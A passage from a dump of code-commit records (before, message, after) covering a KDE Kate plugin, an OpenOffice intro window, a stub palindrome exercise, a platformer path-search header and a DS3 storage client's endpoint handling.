to\n   the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n*\/\n\n\/\/BEGIN Includes\n#include \"kciplugin.h\"\n#include \"kciplugin.moc\"\n\n#include \"kciview.h\"\n#include \"kciconfig.h\"\n\n#include \"kciparser.h\"\n\n#include <kpluginfactory.h>\n#include <kaboutdata.h>\n#include <kdebug.h>\n\n\/\/END Includes\n\nnamespace KateCodeinfo\n{\n\nK_PLUGIN_FACTORY(KatecodeinfoFactory, registerPlugin<Plugin>();)\nK_EXPORT_PLUGIN(KatecodeinfoFactory(KAboutData(\"katecodeinfoplugin\", \"katecodeinfoplugin\", ki18n(\"Codeinfo\"), \"0.1\", ki18n(\"Codeinfo\"), KAboutData::License_GPL_V2)))\n\nPlugin* Plugin::s_self = 0L;\n\nPlugin::Plugin(QObject* parent, const QList<QVariant>&)\n  : Kate::Plugin((Kate::Application*)parent)\n  , Kate::PluginConfigPageInterface()\n{\n  s_self = this;\n}\n\nPlugin::~Plugin()\n{\n  s_self = 0L;\n}\n\nPlugin& Plugin::self()\n{\n  return *s_self;\n}\n\nKate::PluginView *Plugin::createView(Kate::MainWindow *mainWindow)\n{\n  View* pv = new View(mainWindow);\n  connect(this, SIGNAL(actionsUpdated()),\n          pv, SLOT(updateCmbActions()));\n  return pv;\n}\n\nuint Plugin::configPages() const\n{\n  return 1;\n}\n\nKate::PluginConfigPage* Plugin::configPage(uint number, QWidget *parent, const char *name)\n{\n  if(number == 0) {\n    return new Config(parent, name);\n  }\n\n  return 0L;\n}\n\nQString Plugin::configPageName(uint number) const\n{\n  if(number == 0) {\n    return i18n(\"Codeinfo\");\n  }\n  return QString();\n}\n\nQString Plugin::configPageFullName(uint number) const\n{\n  if(number == 0) {\n    return i18n(\"Codeinfo Settings\");\n  }\n  return QString();\n}\n\nKIcon Plugin::configPageIcon(uint number) const\n{\n  Q_UNUSED(number)\n  return KIcon(\"msg_info\");\n}\n\nvoid Plugin::refreshActions()\n{\n  emit actionsUpdated();\n}\n\n};\n\n\/\/ kate: space-indent on; indent-width 2; replace-tabs on;\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: intro.cxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-07 18:19:47 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef GCC\n#pragma hdrstop\n#endif\n\n#include \"intro.hxx\"\n\n#include <tools\/stream.hxx>\n#include <tools\/urlobj.hxx>\n#include <svtools\/pathoptions.hxx>\n#include <unotools\/configmgr.hxx>\n#ifndef _COM_SUN_STAR_UNO_ANY_H_\n#include <com\/sun\/star\/uno\/Any.h>\n#endif\n\n#include \"sfxuno.hxx\"\n\n\/\/ -----------------------------------------------------------------------\n\nvoid IntroWindow_Impl::Init()\n{\n    Size aSize = aIntroBmp.GetSizePixel();\n    SetOutputSizePixel( aSize );\n    Size  aScreenSize( GetDesktopRectPixel().GetSize() );\n    Size  aWinSize( GetSizePixel() );\n    Point aWinPos( ( aScreenSize.Width()  - aWinSize.Width() )  \/ 2,\n                   ( aScreenSize.Height() - aWinSize.Height() ) \/ 2  );\n    SetPosPixel( aWinPos );\n\n    if ( GetColorCount() >= 16 )\n    {\n        Show();\n        Update();\n    }\n}\n\n\/\/ -----------------------------------------------------------------------\n\nIntroWindow_Impl::IntroWindow_Impl( const Bitmap& rBmp ) :\n\n    WorkWindow( NULL, (WinBits)0 ),\n\n    aIntroBmp( rBmp )\n\n{\n    Hide();\n\n    \/\/ load bitmap depends on productname (\"StarOffice\", \"StarSuite\",...)\n    ::com::sun::star::uno::Any aRet = ::utl::ConfigManager::GetDirectConfigProperty( ::utl::ConfigManager::PRODUCTNAME );\n    rtl::OUString aTmp;\n    aRet >>= aTmp;\n    String aBmpFileName = aTmp;\n    aBmpFileName += String( DEFINE_CONST_UNICODE(\"_intro.bmp\") );\n    INetURLObject aObj( SvtPathOptions().GetModulePath(), INET_PROT_FILE );\n    aObj.insertName( aBmpFileName );\n    SvFileStream aStrm( aObj.PathToFileName(), STREAM_STD_READ );\n    if ( !aStrm.GetError() )\n        aStrm >> aIntroBmp;\n\n    Init();\n}\n\n\/\/ -----------------------------------------------------------------------\n\nIntroWindow_Impl::~IntroWindow_Impl()\n{\n    Hide();\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid IntroWindow_Impl::Paint( const Rectangle& )\n{\n    DrawBitmap( Point(), aIntroBmp );\n    Flush();\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid IntroWindow_Impl::Slide()\n{\n}\n\n\n<commit_msg>INTEGRATION: CWS pchfix02 (1.4.312); FILE MERGED 2006\/09\/01 17:38:34 kaib 1.4.312.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: intro.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 16:32:24 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sfx2.hxx\"\n\n#ifndef GCC\n#endif\n\n#include \"intro.hxx\"\n\n#include <tools\/stream.hxx>\n#include <tools\/urlobj.hxx>\n#include <svtools\/pathoptions.hxx>\n#include <unotools\/configmgr.hxx>\n#ifndef _COM_SUN_STAR_UNO_ANY_H_\n#include <com\/sun\/star\/uno\/Any.h>\n#endif\n\n#include \"sfxuno.hxx\"\n\n\/\/ -----------------------------------------------------------------------\n\nvoid IntroWindow_Impl::Init()\n{\n    Size aSize = aIntroBmp.GetSizePixel();\n    SetOutputSizePixel( aSize );\n    Size  aScreenSize( GetDesktopRectPixel().GetSize() );\n    Size  aWinSize( GetSizePixel() );\n    Point aWinPos( ( aScreenSize.Width()  - aWinSize.Width() )  \/ 2,\n                   ( aScreenSize.Height() - aWinSize.Height() ) \/ 2  );\n    SetPosPixel( aWinPos );\n\n    if ( GetColorCount() >= 16 )\n    {\n        Show();\n        Update();\n    }\n}\n\n\/\/ -----------------------------------------------------------------------\n\nIntroWindow_Impl::IntroWindow_Impl( const Bitmap& rBmp ) :\n\n    WorkWindow( NULL, (WinBits)0 ),\n\n    aIntroBmp( rBmp )\n\n{\n    Hide();\n\n    \/\/ load bitmap depends on productname (\"StarOffice\", \"StarSuite\",...)\n    ::com::sun::star::uno::Any aRet = ::utl::ConfigManager::GetDirectConfigProperty( ::utl::ConfigManager::PRODUCTNAME );\n    rtl::OUString aTmp;\n    aRet >>= aTmp;\n    String aBmpFileName = aTmp;\n    aBmpFileName += String( DEFINE_CONST_UNICODE(\"_intro.bmp\") );\n    INetURLObject aObj( SvtPathOptions().GetModulePath(), INET_PROT_FILE );\n    aObj.insertName( aBmpFileName );\n    SvFileStream aStrm( aObj.PathToFileName(), STREAM_STD_READ );\n    if ( !aStrm.GetError() )\n        aStrm >> aIntroBmp;\n\n    Init();\n}\n\n\/\/ -----------------------------------------------------------------------\n\nIntroWindow_Impl::~IntroWindow_Impl()\n{\n    Hide();\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid IntroWindow_Impl::Paint( const Rectangle& )\n{\n    DrawBitmap( Point(), aIntroBmp );\n    Flush();\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid IntroWindow_Impl::Slide()\n{\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n\nchar *palindrome(char *string)\n{\n    if(string == NULL) return NULL;\n}\n\nint main(void)\n{\n}\n<commit_msg>Solution of prob 6 (not yet completed)<commit_after>#include <stdio.h>\n\nchar *palindrome(char *string)\n{\n    if(string == NULL) return NULL;\n}\n\nint main(void)\n{\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"player.hpp\"\n#include \"lvl.hpp\"\n#include \"..\/visnav\/visgraph.hpp\"\n#include <vector>\n#include <string>\n#include <cstdio>\n\nvoid fatal(const char*, ...);\nextern \"C\" unsigned long hashbytes(unsigned char[], unsigned int);\n\n\/\/ Maxx is the maximum travel distance in the x-direction\n\/\/ in a single frame.\nstatic const double Maxx = Player::runspeed();\n\n\/\/ Maxy is the maximum travel distance in the y-direction\n\/\/ in a single frame.\nstatic const double Maxy = Player::jmpspeed() > Body::Maxdy ? Player::jmpspeed() : Body::Maxdy;\n\n\/\/ W is the minimum width of a tile in 'frames'.  I.e., at max\n\/\/ speed how many frames does it require to traverse the\n\/\/ width of a tile.\nstatic const double W = Tile::Width \/ Maxx;\n\n\/\/ H is the minimum height of a tile in 'frames'.\nstatic const double H = Tile::Height \/  Maxy;\n\nstruct Plat2d {\n\n\tstatic const unsigned int Ops[];\n\tstatic const unsigned int Nops;\n\n\tenum { UnitCost = true };\n\n\ttypedef double Cost;\n\tstatic const double InfCost = -1;\n\n\ttypedef int Oper;\n\tstatic const int Nop = -1;\n\n\tPlat2d(FILE*);\n\n\t~Plat2d(void);\n\n\tstruct State {\n\t\tState(void) { }\n\n\t\tState(unsigned int x, unsigned int y, unsigned int z,\n\t\t\tunsigned int w, unsigned int h) : player(x, y, w, h) { }\n\n\t\tPlayer player;\n\t};\n\n\tstruct PackedState {\n\t\tunsigned long hash(void) {\n\t\t\tstatic const unsigned int sz = sizeof(x) +\n\t\t\t\tsizeof(y) + sizeof(dy) + sizeof(jframes);\n\t\t\tunsigned char bytes[sz];\n\t\t\tunsigned int i = 0;\n\t\t\tchar *p = (char*) &x;\n\t\t\tfor (unsigned int j = 0; j < sizeof(x); j++)\n\t\t\t\tbytes[i++] = p[j];\n\t\t\tp = (char*) &y;\n\t\t\tfor (unsigned int j = 0; j < sizeof(y); j++)\n\t\t\t\tbytes[i++] = p[j];\n\t\t\tp = (char*) &dy;\n\t\t\tfor (unsigned int j = 0; j < sizeof(dy); j++)\n\t\t\t\tbytes[i++] = p[j];\n\t\t\tbytes[i++] = jframes;\n\t\t\tassert (i <= sz);\n\t\t\treturn hashbytes(bytes, i);\n\t\t}\n\n\t\tbool eq(PackedState &o) const {\n\t\t\treturn jframes == o.jframes &&\n\t\t\t\tdoubleeq(x, o.x) &&\n\t\t\t\tdoubleeq(y, o.y) &&\n\t\t\t\tdoubleeq(dy, o.dy);\n\t\t}\n\n\t\tdouble x, y, dy;\n\t\t\/\/ The body's fall flag is packed as the high-order bit\n\t\t\/\/ of jframes.\n\t\tunsigned char jframes;\n\t};\n\n\tState initialstate(void);\n\n\tCost h(State &s) { return 0; \/* return hvis(s); *\/ }\n\n\tCost d(State &s) { return h(s); }\n\n\tbool isgoal(State &s) {\n\t\tLvl::Blkinfo bi = lvl.majorblk(s.player.body.bbox);\n\t\treturn bi.x == gx && bi.y == gy;\n\t}\n\n\tunsigned int nops(State &s) {\n \t\t\/\/ If jumping will have no effect then allow left, right and jump.\n\t\t\/\/ This is a bit of a hack, but the 'jump' action that is allowed\n\t\t\/\/ here will end up being a 'do nothing' and just fall action.\n\t\t\/\/ Effectively, we prune off the jump\/left and jump\/right actions\n\t\t\/\/ since they are the same as just doing left and right in this case.\n\t\tif (!s.player.canjump())\n\t\t\treturn 3;\n\t\treturn Nops;\n\t}\n\n\tOper nthop(State &s, unsigned int n) {\n\t\treturn Ops[n];\n\t}\n\n\tstruct Transition {\n\t\tCost cost;\n\t\tOper revop;\n\t\tState state;\n\n\t\tTransition(Plat2d &d, State &s, Oper op) : revop(Nop), state(s) {\n\t\t\tstate.player.act(d.lvl, (unsigned int) op);\n\t\t\tcost = 1;\n\t\t\tif (s.player.body.bbox.min.y == state.player.body.bbox.min.y) {\n\t\t\t\tif (op == Player::Left)\n\t\t\t\t\trevop = Player::Right;\n\t\t\t\telse if (op == Player::Right)\n\t\t\t\t\trevop = Player::Left;\n\t\t\t}\n\t\t}\n\n\t};\n\n\tvoid pack(PackedState &dst, State &src) {\n\t\tdst.x = src.player.body.bbox.min.x;\n\t\tdst.y = src.player.body.bbox.min.y;\n\t\tdst.dy = src.player.body.dy;\n\t\tdst.jframes = src.player.jframes;\n\t\tif (src.player.body.fall)\n\t\t\tdst.jframes |= 1 << 7;\n\t}\n\n\tState &unpack(State &buf, PackedState &pkd) {\n\t\tbuf.player.jframes = pkd.jframes & 0x7F;\n\t\tbuf.player.body.fall = pkd.jframes & (1 << 7);\n\t\tbuf.player.body.dy = pkd.dy;\n\t\tbuf.player.body.bbox.min.x = pkd.x;\n\t\tbuf.player.body.bbox.min.y = pkd.y;\n\t\tbuf.player.body.bbox.max.x = pkd.x + Player::Width;\n\t\tbuf.player.body.bbox.max.y = pkd.y + Player::Height;\n\t\treturn buf;\n\t}\n\n\tstatic void dumpstate(FILE *out, State &s) {\n\t\tfprintf(out, \"%g, %g\\n\", s.player.loc().x, s.player.loc().y);\n\t}\n\n\tunsigned int gx, gy;\t\/\/ goal tile location\n\tLvl lvl;\n\nprivate:\n\n\t\/\/ heuclidean computes the Euclidean distance of the center\n\t\/\/ point of the player to the goal.  That is, if the player is level\n\t\/\/ with the goal tile in the y direction or is level with it in the\n\t\/\/ x direction and above it then the Euclidean distance to the\n\t\/\/ nearest side is returned.  Otherwise, the minimum of the\n\t\/\/ Euclidean distances from the player's center point to the four\n\t\/\/ corners of the goal block is returned.\n\tCost heuclidean(const State &s) const {\n\t\tconst Lvl::Blkinfo &bi = lvl.majorblk(s.player.body.bbox);\n\t\tif (bi.x == gx && bi.y == gy)\n\t\t\treturn 0;\n\n\t\tconst Point &loc = s.player.body.bbox.center();\n\t\tPoint goal;\n\t\tif (bi.y == gy)\n\t\t\tgoal.y = loc.y;\n\t\telse if (bi.y < gy)\n\t\t\tgoal.y = (gy - 1) * H;\n\t\telse\n\t\t\tgoal.y = gy * H;\n\t\tif (bi.x == gx)\n\t\t\tgoal.x = loc.x;\n\t\telse if (bi.x < gx)\n\t\t\tgoal.x = gx * W;\n\t\telse\n\t\t\tgoal.x = (gx + 1) * W;\n\n\t\treturn Point::distance(loc, goal);\t\t\n\t}\n\n\tstruct Node {\n\t\tint v;\t\t\/\/ vertex ID\n\t\tint prev;\t\/\/ previous along path\n\t\tlong i;\t\/\/ prio queue index\n\t\tdouble d;\t\/\/ distance to goal\n\n\t\tstatic void setind(Node *n, unsigned long ind) { n->i = ind; }\n\t\tstatic bool pred(const Node *a, const Node *b) { return a->d < b->d; }\n\t};\n\n\tvoid initvg(void);\n\n\tCost hvis(const State &s) const {\n\t\tPoint loc(s.player.body.bbox.center());\n\t\tloc.x \/= Maxx;\n\t\tloc.y \/= Maxy;\n\t\tif (vg->isvisible(loc, Point((gx+0.5) * W, (gy+0.5) * H)))\n\t\t\treturn heuclidean(s);\n\n\t\tLvl::Blkinfo bi = lvl.majorblk(s.player.body.bbox);\n\t\tint c = centers[bi.x * lvl.height() + bi.y];\n\n\t\t\/\/ Length of a tile diagonal, subtracted from the visnav\n\t\t\/\/ distance to account for the fact that the goal vertex\n\t\t\/\/ is in the center of the goal cell, not on the side.\n\t\tstatic const double diag = sqrt((W\/2)*(W\/2) + (H\/2)*(H\/2));\n\t\tCost h = togoal[c].d - Point::distance(loc, vg->verts[c].pt) -  diag;\n\t\tassert (h >= 0);\n\t\treturn h < 0 ? 0 : h;\n\t}\n\n\tVisGraph *vg;\n\tstd::vector<long> centers;\n\tstd::vector<Node> togoal;\n};\n\n\/\/ controlstr converts a vector of controls to an ASCII string.\nstd::string controlstr(const std::vector<unsigned int>&);\n\n\/\/ controlvec converts a string of controls back into a vector.\nstd::vector<unsigned int> controlvec(const std::string&);\n<commit_msg>plat2d: optimize distance instead of time again. The good results for optimizing time may have been because of a build error causing the heuristic to be wildly inadmissible.<commit_after>#include \"player.hpp\"\n#include \"lvl.hpp\"\n#include \"..\/visnav\/visgraph.hpp\"\n#include <vector>\n#include <string>\n#include <cstdio>\n\nvoid fatal(const char*, ...);\nextern \"C\" unsigned long hashbytes(unsigned char[], unsigned int);\n\n\/\/ Maxx is the maximum travel distance in the x-direction\n\/\/ in a single frame.\nstatic const double Maxx = 1; \/\/ Player::runspeed();\n\n\/\/ Maxy is the maximum travel distance in the y-direction\n\/\/ in a single frame.\nstatic const double Maxy = 1; \/\/ Player::jmpspeed() > Body::Maxdy ? Player::jmpspeed() : Body::Maxdy;\n\n\/\/ W is the minimum width of a tile in 'frames'.  I.e., at max\n\/\/ speed how many frames does it require to traverse the\n\/\/ width of a tile.\nstatic const double W = Tile::Width \/ Maxx;\n\n\/\/ H is the minimum height of a tile in 'frames'.\nstatic const double H = Tile::Height \/  Maxy;\n\nstruct Plat2d {\n\n\tstatic const unsigned int Ops[];\n\tstatic const unsigned int Nops;\n\n\tenum { UnitCost = false };\n\n\ttypedef double Cost;\n\tstatic const double InfCost = -1;\n\n\ttypedef int Oper;\n\tstatic const int Nop = -1;\n\n\tPlat2d(FILE*);\n\n\t~Plat2d(void);\n\n\tstruct State {\n\t\tState(void) { }\n\n\t\tState(unsigned int x, unsigned int y, unsigned int z,\n\t\t\tunsigned int w, unsigned int h) : player(x, y, w, h) { }\n\n\t\tPlayer player;\n\t};\n\n\tstruct PackedState {\n\t\tunsigned long hash(void) {\n\t\t\tstatic const unsigned int sz = sizeof(x) +\n\t\t\t\tsizeof(y) + sizeof(dy) + sizeof(jframes);\n\t\t\tunsigned char bytes[sz];\n\t\t\tunsigned int i = 0;\n\t\t\tchar *p = (char*) &x;\n\t\t\tfor (unsigned int j = 0; j < sizeof(x); j++)\n\t\t\t\tbytes[i++] = p[j];\n\t\t\tp = (char*) &y;\n\t\t\tfor (unsigned int j = 0; j < sizeof(y); j++)\n\t\t\t\tbytes[i++] = p[j];\n\t\t\tp = (char*) &dy;\n\t\t\tfor (unsigned int j = 0; j < sizeof(dy); j++)\n\t\t\t\tbytes[i++] = p[j];\n\t\t\tbytes[i++] = jframes;\n\t\t\tassert (i <= sz);\n\t\t\treturn hashbytes(bytes, i);\n\t\t}\n\n\t\tbool eq(PackedState &o) const {\n\t\t\treturn jframes == o.jframes &&\n\t\t\t\tdoubleeq(x, o.x) &&\n\t\t\t\tdoubleeq(y, o.y) &&\n\t\t\t\tdoubleeq(dy, o.dy);\n\t\t}\n\n\t\tdouble x, y, dy;\n\t\t\/\/ The body's fall flag is packed as the high-order bit\n\t\t\/\/ of jframes.\n\t\tunsigned char jframes;\n\t};\n\n\tState initialstate(void);\n\n\tCost h(State &s) { return hvis(s); }\n\n\tCost d(State &s) { return 0; }\n\n\tbool isgoal(State &s) {\n\t\tLvl::Blkinfo bi = lvl.majorblk(s.player.body.bbox);\n\t\treturn bi.x == gx && bi.y == gy;\n\t}\n\n\tunsigned int nops(State &s) {\n \t\t\/\/ If jumping will have no effect then allow left, right and jump.\n\t\t\/\/ This is a bit of a hack, but the 'jump' action that is allowed\n\t\t\/\/ here will end up being a 'do nothing' and just fall action.\n\t\t\/\/ Effectively, we prune off the jump\/left and jump\/right actions\n\t\t\/\/ since they are the same as just doing left and right in this case.\n\t\tif (!s.player.canjump())\n\t\t\treturn 3;\n\t\treturn Nops;\n\t}\n\n\tOper nthop(State &s, unsigned int n) {\n\t\treturn Ops[n];\n\t}\n\n\tstruct Transition {\n\t\tCost cost;\n\t\tOper revop;\n\t\tState state;\n\n\t\tTransition(Plat2d &d, State &s, Oper op) : revop(Nop), state(s) {\n\t\t\tstate.player.act(d.lvl, (unsigned int) op);\n\t\t\tcost = Point::distance(s.player.body.bbox.min, state.player.body.bbox.min);\n\t\t\tif (s.player.body.bbox.min.y == state.player.body.bbox.min.y) {\n\t\t\t\tif (op == Player::Left)\n\t\t\t\t\trevop = Player::Right;\n\t\t\t\telse if (op == Player::Right)\n\t\t\t\t\trevop = Player::Left;\n\t\t\t}\n\t\t}\n\n\t};\n\n\tvoid pack(PackedState &dst, State &src) {\n\t\tdst.x = src.player.body.bbox.min.x;\n\t\tdst.y = src.player.body.bbox.min.y;\n\t\tdst.dy = src.player.body.dy;\n\t\tdst.jframes = src.player.jframes;\n\t\tif (src.player.body.fall)\n\t\t\tdst.jframes |= 1 << 7;\n\t}\n\n\tState &unpack(State &buf, PackedState &pkd) {\n\t\tbuf.player.jframes = pkd.jframes & 0x7F;\n\t\tbuf.player.body.fall = pkd.jframes & (1 << 7);\n\t\tbuf.player.body.dy = pkd.dy;\n\t\tbuf.player.body.bbox.min.x = pkd.x;\n\t\tbuf.player.body.bbox.min.y = pkd.y;\n\t\tbuf.player.body.bbox.max.x = pkd.x + Player::Width;\n\t\tbuf.player.body.bbox.max.y = pkd.y + Player::Height;\n\t\treturn buf;\n\t}\n\n\tstatic void dumpstate(FILE *out, State &s) {\n\t\tfprintf(out, \"%g, %g\\n\", s.player.loc().x, s.player.loc().y);\n\t}\n\n\tunsigned int gx, gy;\t\/\/ goal tile location\n\tLvl lvl;\n\nprivate:\n\n\t\/\/ heuclidean computes the Euclidean distance of the center\n\t\/\/ point of the player to the goal.  That is, if the player is level\n\t\/\/ with the goal tile in the y direction or is level with it in the\n\t\/\/ x direction and above it then the Euclidean distance to the\n\t\/\/ nearest side is returned.  Otherwise, the minimum of the\n\t\/\/ Euclidean distances from the player's center point to the four\n\t\/\/ corners of the goal block is returned.\n\tCost heuclidean(const State &s) const {\n\t\tconst Lvl::Blkinfo &bi = lvl.majorblk(s.player.body.bbox);\n\t\tif (bi.x == gx && bi.y == gy)\n\t\t\treturn 0;\n\n\t\tconst Point &loc = s.player.body.bbox.center();\n\t\tPoint goal;\n\t\tif (bi.y == gy)\n\t\t\tgoal.y = loc.y;\n\t\telse if (bi.y < gy)\n\t\t\tgoal.y = (gy - 1) * H;\n\t\telse\n\t\t\tgoal.y = gy * H;\n\t\tif (bi.x == gx)\n\t\t\tgoal.x = loc.x;\n\t\telse if (bi.x < gx)\n\t\t\tgoal.x = gx * W;\n\t\telse\n\t\t\tgoal.x = (gx + 1) * W;\n\n\t\treturn Point::distance(loc, goal);\t\t\n\t}\n\n\tstruct Node {\n\t\tint v;\t\t\/\/ vertex ID\n\t\tint prev;\t\/\/ previous along path\n\t\tlong i;\t\/\/ prio queue index\n\t\tdouble d;\t\/\/ distance to goal\n\n\t\tstatic void setind(Node *n, unsigned long ind) { n->i = ind; }\n\t\tstatic bool pred(const Node *a, const Node *b) { return a->d < b->d; }\n\t};\n\n\tvoid initvg(void);\n\n\tCost hvis(const State &s) const {\n\t\tPoint loc(s.player.body.bbox.center());\n\t\tloc.x \/= Maxx;\n\t\tloc.y \/= Maxy;\n\t\tif (vg->isvisible(loc, Point((gx+0.5) * W, (gy-0.5) * H)))\n\t\t\treturn heuclidean(s);\n\n\t\tLvl::Blkinfo bi = lvl.majorblk(s.player.body.bbox);\n\t\tint c = centers[bi.x * lvl.height() + bi.y];\n\n\t\t\/\/ Length of a tile diagonal, subtracted from the visnav\n\t\t\/\/ distance to account for the fact that the goal vertex\n\t\t\/\/ is in the center of the goal cell, not on the side.\n\t\tstatic const double diag = sqrt((W\/2)*(W\/2) + (H\/2)*(H\/2));\n\t\tassert (Point::distance(loc, vg->verts[c].pt) <= diag + Epsilon);\n\t\tCost h = togoal[c].d - Point::distance(loc, vg->verts[c].pt) - diag;\n\t\tassert (h >= 0);\n\t\treturn h < 0 ? 0 : h;\n\t}\n\n\tVisGraph *vg;\n\tstd::vector<long> centers;\n\tstd::vector<Node> togoal;\n};\n\n\/\/ controlstr converts a vector of controls to an ASCII string.\nstd::string controlstr(const std::vector<unsigned int>&);\n\n\/\/ controlvec converts a string of controls back into a vector.\nstd::vector<unsigned int> controlvec(const std::string&);\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * *****************************************************************************\n *   Copyright 2014 Spectra Logic Corporation. All Rights Reserved.\n *   Licensed under the Apache License, Version 2.0 (the \"License\"). You may not\n *   use this file except in compliance with the License. A copy of the License\n *   is located at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   or in the \"license\" file accompanying this file.\n *   This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n *   CONDITIONS OF ANY KIND, either express or implied. See the License for the\n *   specific language governing permissions and limitations under the License.\n * *****************************************************************************\n *\/\n\n#include \"client.h\"\n\nClient::Client(std::string host,\n\t       std::string port,\n\t       std::string accessId,\n\t       std::string secretKey)\n{\n\tm_creds = ds3_create_creds(accessId.c_str(), secretKey.c_str());\n\n\tstd::string endpoint = \"http:\/\/\" + host + \":\" + port;\n\tm_client = ds3_create_client(endpoint.c_str(), m_creds);\n}\n\nClient::~Client()\n{\n\tds3_free_creds(m_creds);\n\tds3_free_client(m_client);\n\tds3_cleanup();\n}\n\nds3_get_service_response*\nClient::GetService()\n{\n\tds3_get_service_response *response;\n\tds3_request* request = ds3_init_get_service();\n\tds3_error* error = ds3_get_service(m_client,\n\t\t\t\t\t   request,\n\t\t\t\t\t   &response);\n\tds3_free_request(request);\n\n\t\/\/ TODO check the error\n\tds3_free_error(error);\n\n\treturn response;\n}\n\nds3_get_bucket_response*\nClient::GetBucket(std::string bucketName,\n\t\t  std::string prefix,\n\t\t  std::string delimiter,\n\t\t  std::string marker,\n\t\t  uint32_t maxKeys)\n{\n\tds3_get_bucket_response *response;\n\tds3_request* request = ds3_init_get_bucket(bucketName.c_str());\n\tif (!prefix.empty()) {\n\t\tds3_request_set_prefix(request, prefix.c_str());\n\t}\n\tif (!delimiter.empty()) {\n\t\tds3_request_set_delimiter(request, delimiter.c_str());\n\t}\n\tif (!marker.empty()) {\n\t\tds3_request_set_marker(request, marker.c_str());\n\t}\n\tif (maxKeys > 0) {\n\t\tds3_request_set_max_keys(request, maxKeys);\n\t}\n\tds3_error* error = ds3_get_bucket(m_client,\n\t\t\t\t\t  request,\n\t\t\t\t\t  &response);\n\tds3_free_request(request);\n\n\t\/\/ TODO check the error\n\tds3_free_error(error);\n\n\treturn response;\n}\n\nvoid\nClient::CreateBucket(std::string name)\n{\n\tds3_request* request = ds3_init_put_bucket(name.c_str());\n\tds3_error* error = ds3_put_bucket(m_client, request);\n\tds3_free_request(request);\n\n\t\/\/ TODO check the error\n\tds3_free_error(error);\n\n\treturn;\n}\n<commit_msg>Only add \":<port>\" to the endpoint if a port was provided<commit_after>\/*\n * *****************************************************************************\n *   Copyright 2014 Spectra Logic Corporation. All Rights Reserved.\n *   Licensed under the Apache License, Version 2.0 (the \"License\"). You may not\n *   use this file except in compliance with the License. A copy of the License\n *   is located at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   or in the \"license\" file accompanying this file.\n *   This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n *   CONDITIONS OF ANY KIND, either express or implied. See the License for the\n *   specific language governing permissions and limitations under the License.\n * *****************************************************************************\n *\/\n\n#include \"client.h\"\n\nClient::Client(std::string host,\n\t       std::string port,\n\t       std::string accessId,\n\t       std::string secretKey)\n{\n\tm_creds = ds3_create_creds(accessId.c_str(), secretKey.c_str());\n\n\tstd::string endpoint = \"http:\/\/\" + host;\n\tif (!port.empty()) {\n\t\tendpoint += \":\" + port;\n\t}\n\n\tm_client = ds3_create_client(endpoint.c_str(), m_creds);\n}\n\nClient::~Client()\n{\n\tds3_free_creds(m_creds);\n\tds3_free_client(m_client);\n\tds3_cleanup();\n}\n\nds3_get_service_response*\nClient::GetService()\n{\n\tds3_get_service_response *response;\n\tds3_request* request = ds3_init_get_service();\n\tds3_error* error = ds3_get_service(m_client,\n\t\t\t\t\t   request,\n\t\t\t\t\t   &response);\n\tds3_free_request(request);\n\n\t\/\/ TODO check the error\n\tds3_free_error(error);\n\n\treturn response;\n}\n\nds3_get_bucket_response*\nClient::GetBucket(std::string bucketName,\n\t\t  std::string prefix,\n\t\t  std::string delimiter,\n\t\t  std::string marker,\n\t\t  uint32_t maxKeys)\n{\n\tds3_get_bucket_response *response;\n\tds3_request* request = ds3_init_get_bucket(bucketName.c_str());\n\tif (!prefix.empty()) {\n\t\tds3_request_set_prefix(request, prefix.c_str());\n\t}\n\tif (!delimiter.empty()) {\n\t\tds3_request_set_delimiter(request, delimiter.c_str());\n\t}\n\tif (!marker.empty()) {\n\t\tds3_request_set_marker(request, 